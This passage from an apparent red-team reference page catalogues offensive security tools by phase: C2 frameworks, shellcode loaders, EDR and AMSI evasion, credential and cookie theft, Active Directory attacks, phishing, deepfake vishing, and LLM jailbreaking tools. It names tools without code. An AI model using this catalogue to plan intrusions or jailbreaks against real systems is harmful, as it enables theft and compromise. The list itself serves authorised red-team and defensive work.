  • IDA Pro MCP: MCP Server for IDA Pro. Caution: some IDA MCP servers can be tricked into executing code from samples
  • BloodHound-MCP: MCP integration for AI-assisted AD attack path analysis and discovery
  • R2AI: LLM agent using Radare2 for malware analysis with human-in-the-loop — faster than manual
  • F5 WAF deobfuscation: Pipe obfuscated F5 ASM JavaScript into GPT/Claude for instant deobfuscation — reveals WAF rules and policies
  • Dyana: Sandbox for profiling ML models, ELFs, Pickle files, JavaScript for vulnerability analysis
  • AIGoat: Deliberately vulnerable AI infrastructure for learning AI security attack techniques

// Tool Arsenal

Essential tools organized by operation phase. Not exhaustive — these are the workhorses.

Tool Reference by Phase

INFRASTRUCTURE
├── Cobalt Strike / Havoc / Sliver / Mythic    // C2 frameworks
├── Brute Ratel C4 / Nighthawk                       // Commercial adversary simulation
├── Terraform / Ansible                               // Infrastructure as Code
├── Nebula / Red-Baron                                // RT infra automation
├── GoPhish / EvilGinx / evilgophish               // Phishing & AitM platforms
├── StuntBanana / FreePBX / 3CX                    // Vishing / CID spoofing infrastructure
├── GraphStrike / ProxyBlob / Turnt                 // Cloud-native C2 redirectors
├── Stillepost / reverse_ssh                          // Browser-based & SSH-based C2 tunnels
├── RedELK / Ghostwriter / VECTR                   // Red Team SIEM, reporting & tracking
└── fakeprinter / Artillery                           // Infrastructure disguise & defender detection

INITIAL ACCESS & PAYLOADS
├── msfvenom / Donut / sRDI                        // Shellcode generation
├── Nim / Rust / C loaders                           // Custom shellcode loaders
├── Spartacus / DLLSpy / DllShimmer               // DLL sideload & hijack weaponization
├── EPIC / Dittobytes / Crystal Palace              // PIC builders & metamorphic compilation
├── ntlm_theft / LNKUp / LNKSmuggler              // Coercion file & LNK generators
├── Mitra                                             // Binary polyglot generator
├── GraphSpy / TokenPhisher / SquarePhish          // Device code phishing
├── NachoVPN                                          // Malicious SSL-VPN server
└── QRucible / recaptcha-phish / Clickfix-Email    // Quishing & ClickFix tools

EVASION
├── SysWhispers3 / HellsGate / HalosGate          // Syscall generation
├── Ekko / Foliage / KrakenMask                    // Sleep obfuscation
├── ThreadStackSpoofer / SilentMoonwalk              // Call stack spoofing
├── Scarecrow / Freeze                                // Loader generation / obfuscation
├── EDRSilencer / Krueger                             // EDR network blocking / WDAC kill
├── Null-AMSI / Being-A-Good-CLR-Host               // Advanced AMSI bypass
├── Limelighter / sgn                                 // Code signing & shellcode encoding
├── riscy-business / VMProtect                       // Malware virtualization
├── UnhookMe / patchwerk                             // API unhooking & NTDLL restoration
└── RedBackdoorer / ConfuserEx                       // PE file injection & .NET obfuscation

POST-EXPLOITATION
├── Rubeus / Certify / Certipy                     // Kerberos & ADCS
├── SharpHound / bloodhound-python                   // AD enumeration
├── Snaffler / Seatbelt                               // Discovery & credential finding
├── DonPAPI / SharpDPAPI / dploot                  // DPAPI looting
├── secretsdump.py / pypykatz                       // Credential extraction
├── nanodump / physmem2profit                       // Evasive LSASS dumping
├── ChromeKatz / cookie-monster / HackBrowserData  // Browser cookie & credential theft
├── LaZagne / goLazagne                               // All-in-one cached credential dumping
├── MailSniper / GraphRunner                          // Email & cloud post-exploitation
├── SignalKeyBOF / WhatsAppKeyBOF                    // Messaging app key extraction
└── ThievingFox / asar-backdoor                      // KeePass & Electron app backdooring

ACTIVE DIRECTORY
├── Certipy / Certify / Locksmith                  // ADCS exploitation (ESC1-ESC15)
├── ADCSSync / DSInternals                            // DCSync alternatives
├── keycred / SharpSuccessor                          // Shadow Credentials & BadSuccessor
├── bloodyAD / godap / ldap_shell                  // LDAP operations & ACL abuse
├── ADExplorerSnapshot / ldeep                       // Enhanced AD snapshots & deep enumeration
├── ldapx / RelayInformer                             // LDAP proxy evasion & relay target assessment
├── Misconfiguration-Manager / sccmhunter           // SCCM attack tradecraft
└── SharpSphere / MemProcFS / Volumiser            // vSphere attack & memory forensics

PRIVILEGE ESCALATION
├── KrbRelayUp / Coercer / RAITrigger             // Relay-based local privesc
├── SharpSuccessor / EnableEFS                       // dMSA & EFS abuse
└── Sunder / PatchGuardEncryptorDriver               // BYOVD & kernel exploitation

LATERAL MOVEMENT
├── impacket suite                                    // psexec, wmiexec, smbexec, atexec, dcomexec
├── evil-winrm / bof-winrm-client                    // WinRM shell & BOF client
├── CrackMapExec / NetExec                            // Network-wide enumeration & execution
├── SharpRDP / HiddenDesktop                          // RDP execution & HVNC
├── GoExec / wmiexec-Pro / atexec-pro             // Advanced DCOM & WMI (port 135 only)
├── SCShell / Invoke-SMBRemoting                       // Fileless service & SMB lateral movement
├── incognito / elevate_pid_bof                       // Token impersonation & process token theft
├── SweetPotato / PrintSpoofer / GodPotato          // Service account to SYSTEM escalation
└── KrbRelay / Prox-Ez                                // Kerberos relaying & PtT browser

CLOUD OPERATIONS
├── GraphSpy / APEX / ROADtools                    // Azure/Entra ID post-exploitation
├── CredMaster / o365spray / TeamFiltration       // M365 password spraying
├── AWSRoleJuggler / AWS-Key-Hunter                 // AWS persistence & key discovery
├── SeamlessPass / AAD BOFs                           // On-prem to cloud pivoting
└── DelePwn / CloudPEASS                              // GCP DWD abuse & cloud privesc

AI / ML OFFENSIVE
├── Claude-C2 / Drone / Nerve                      // AI-driven C2 & autonomous agents
├── GhidraMCP / IDA Pro MCP / BloodHound-MCP      // AI-assisted reverse engineering
├── LitterBox MCP / RamiGPT                         // Iterative evasion & auto-privesc
├── Deep-Live-Cam / DeepFaceLive                     // Real-time deepfake for video calls
├── ElevenLabs / Vapi.ai / w-okada                // Voice cloning & real-time conversion
└── Garak / PyRIT / L1B3RT4S                       // LLM red teaming & jailbreaking

SOCIAL ENGINEERING
├── evilgophish / frameless-bitb / EvilBurp       // Combined AitM + campaign tools
├── SitesGPT / Uizard                                // AI-generated phishing sites
├── decode-spam-headers                                // Email deliverability debugging
└── sneaky_gophish / flyphish                        // GoPhish OPSEC & deployment automation

OPSEC & DETECTION EVASION
├── ldapx / IndicatorOfCanary                         // LDAP proxy evasion & canary detection
├── SteppingStones / Red Team Campaign Planner     // C2 log correlation & ATT&CK planning
└── Detonator / LitterBox                             // Payload testing against live EDRs

LAB INFRASTRUCTURE
├── Ludus / GOAD / Exegol                          // AD lab deployment & attack distros
├── AWSGoat / CloudFoxable                            // Vulnerable cloud labs (AWS)
└── PwnedLabs / Wiz CTF                              // Cloud security training & cyber ranges